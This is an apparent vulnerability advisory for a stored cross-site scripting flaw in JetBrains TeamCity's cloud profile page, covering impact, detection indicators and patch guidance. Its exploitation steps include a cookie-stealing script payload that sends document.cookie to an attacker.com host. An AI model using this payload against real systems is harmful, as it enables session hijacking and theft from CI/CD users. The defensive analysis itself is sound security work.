CVE-2026-59794: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2026-59794 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2026.1.2. The flaw exists on the cloud profile page, where agent-reported data is not properly sanitized before being rendered in the browser. It was published on July 10, 2026, by JetBrains. The CVSS v3.1 base score is 5.4 (Medium) per NVD, though the GitHub Advisory Database and ENISA rate it as 7.3 (High) (GitHub Advisory, JetBrains).

The root cause is improper neutralization of user-controllable input before it is placed in web page output (CWE-79). A low-privileged, authenticated attacker can inject malicious JavaScript payloads into agent-reported data fields; these payloads are then persistently stored and rendered unsanitized on the TeamCity cloud profile page when viewed by other users. Exploitation requires network access, low privileges, and user interaction (a victim must visit the affected page), but no special configuration is needed beyond having a build agent capable of reporting data to the server (GitHub Advisory, JetBrains).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other TeamCity users who view the cloud profile page, potentially stealing session tokens, hijacking authenticated sessions, manipulating page content, or performing unauthorized actions on behalf of victims. The confidentiality and integrity of affected user sessions are at risk, though availability is not directly impacted. In CI/CD environments, session hijacking could enable lateral movement into build pipelines, source code repositories, or deployment infrastructure (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.154–0.208%, placing it in a low percentile for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify a JetBrains TeamCity instance running a version prior to 2026.1.2 with cloud profiles configured and at least one connected build agent.
2. Obtain low-privileged access: Authenticate to TeamCity with any account that has permission to interact with or register a build agent.
3. Inject malicious payload: Manipulate agent-reported data (e.g., agent parameters, cloud instance metadata fields) to include a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Wait for victim interaction: When a TeamCity administrator or other user navigates to the cloud profile page, the stored payload executes in their browser context.
5. Harvest session tokens or perform actions: The attacker receives stolen session cookies or CSRF tokens, enabling session hijacking or further unauthorized actions within TeamCity (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing the cloud profile page; unusual GET/POST requests to attacker-controlled infrastructure containing encoded cookie or token data.
• Logs: TeamCity server logs showing agent-reported data fields containing HTML tags or JavaScript keywords (<script>, onerror, javascript:, etc.); browser console errors related to Content Security Policy violations on the cloud profile page.
• File System / Application: Stored agent parameter values in the TeamCity database containing script tags or encoded payloads when inspected directly.
• Process/Session: Unexpected administrative actions (e.g., new user creation, permission changes, pipeline modifications) performed under legitimate user accounts shortly after those users visited the cloud profile page.

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains). As interim mitigations, administrators should implement strict Content Security Policy (CSP) headers to limit the impact of any XSS execution, and restrict which accounts or agents have the ability to report or modify agent data. Access to the cloud profile page should be limited to trusted administrators only until the patch is applied.

Several cybersecurity news outlets covered this vulnerability as part of a broader JetBrains patch release addressing multiple products including IntelliJ IDEA, TeamCity, and YouTrack (GBHackers, CyberSecurityNews, SecurityOnline). Coverage generally framed the issue as moderate severity within a batch of fixes, with no notable independent researcher commentary or significant social media discussion specific to this CVE.